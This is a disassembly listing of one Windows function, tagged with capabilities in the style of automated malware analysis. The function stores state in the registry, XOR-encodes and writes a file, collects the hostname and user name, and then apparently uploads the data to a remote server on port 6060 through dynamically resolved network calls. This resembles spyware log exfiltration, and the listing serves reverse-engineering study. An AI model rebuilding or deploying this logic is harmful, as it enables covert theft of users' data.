Function at 0x54edf0
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x5e1364
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x20]
call fcn.00552ca0
push eax
push esi
call fcn.0054dea0
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x5e132c
xor bl, bl
call fcn.00552ca0
add esp, 4
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x54ef8c
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, 2
jne 0x54eefe
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x5e1318
mov dword [esp + 0x28], 0x40
call fcn.00552ca0
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x84]
push 0x5e1314
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x54eed3
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x54eed3
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x5e1304
mov dword [esp + 0x28], 4
call fcn.00552ca0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x44]
push 0x5e1314
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x5e12f0
mov dword [esp + 0x28], eax
call fcn.00552ca0
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x54ef59
inc dword [esp + 0x10]
jmp 0x54ef61
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x5e1304
call fcn.00552ca0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x54f3d4
cmp eax, 5
ja 0x54f3d4
test bl, bl
je 0x54efb3
cmp dword [0x884c6c], 9
jge 0x54f3d4
push 0x5e12e0
call fcn.00552ca0
push eax
push esi
call fcn.0054dea0
mov eax, dword [esi]
add esp, 0xc
cmp eax, 0xffffffff
je 0x54f103
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x54eff8
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x5e066c
ja 0x54effd
mov eax, 0x884cdc
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x5e0614
lea ebp, [esi + 0x1c]
call fcn.00552c30
add esp, 4
push eax
push ebp
call fcn.00553270
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x54f09f
test ecx, ecx
jle 0x54f0cd
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x54f07d
jmp 0x54f0cd
test ecx, ecx
jle 0x54f0cd
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x76
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x54f0ac
cmp dword [esi + 0x1034], 0x3e7
je 0x54f0eb
lea eax, [esp + 0x20]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x884a58
call fcn.00551400
test eax, eax
jne 0x54f131
push 0x5e12d0
call fcn.00552ca0
add esp, 4
mov ecx, 0x884a58
push eax
call fcn.005511f0
test eax, eax
je 0x54f3d4
push 0x5e12bc
call fcn.00552ca0
add esp, 4
mov ecx, 0x884a58
push eax
call fcn.00551400
push eax
call fcn.00550140
push 0x5e12a4
mov esi, eax
call fcn.00552ca0
add esp, 4
mov ecx, 0x884a58
push eax
call fcn.00551400
push eax
call fcn.00550140
push 0x5e128c
mov edi, eax
call fcn.00552ca0
add esp, 4
mov ecx, 0x884a58
push eax
call fcn.00551400
push eax
call fcn.00550140
push 0x5e127c
mov ebp, eax
call fcn.00552ca0
add esp, 4
mov ecx, 0x884a58
push eax
call fcn.00551400
push eax
call fcn.00550140
test esi, esi
mov dword [esp + 0x20], eax
je 0x54f3d4
test edi, edi
je 0x54f3d4
test ebp, ebp
je 0x54f3d4
test eax, eax
je 0x54f3d4
push 0
push 0
push 0
push 0
push 0x5e1270
call fcn.00552c30
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x54f3d4
push 0
push 0x8000000
push 1
push 0x5e123c
call fcn.00552ca0
add esp, 4
push eax
push 0x5e1230
call fcn.00552c30
add esp, 4
push eax
push 0x17ac
push 0x5e121c
call fcn.00552c30
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x54f244
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x140]
mov edi, 0x80
push ecx
push edx
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc0]
push eax
push ecx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [0x884c6c]
cmp eax, 1
jne 0x54f2a3
push 0x5e1210
jmp 0x54f308
cmp eax, 2
jne 0x54f2af
push 0x5e1204
jmp 0x54f308
cmp eax, 3
jne 0x54f2bb
push 0x5e11fc
jmp 0x54f308
cmp eax, 4
jne 0x54f2c7
push 0x5e11f0
jmp 0x54f308
cmp eax, 5
jne 0x54f2d3
push 0x5e11e4
jmp 0x54f308
cmp eax, 6
jne 0x54f2df
push 0x5e11d4
jmp 0x54f308
cmp eax, 7
jne 0x54f2eb
push 0x5e11c8
jmp 0x54f308
cmp eax, 8
jne 0x54f2f7
push 0x5e11bc
jmp 0x54f308
cmp eax, 9
jne 0x54f303
push 0x5e11b0
jmp 0x54f308
push 0x5e11a8
call fcn.00552c30
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x1228]
add ecx, 0x1200
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x884ca4]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x2f
push ecx
push 0x5e114c
call fcn.00552ca0
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.0055544b
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x88494c
push esi
call dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret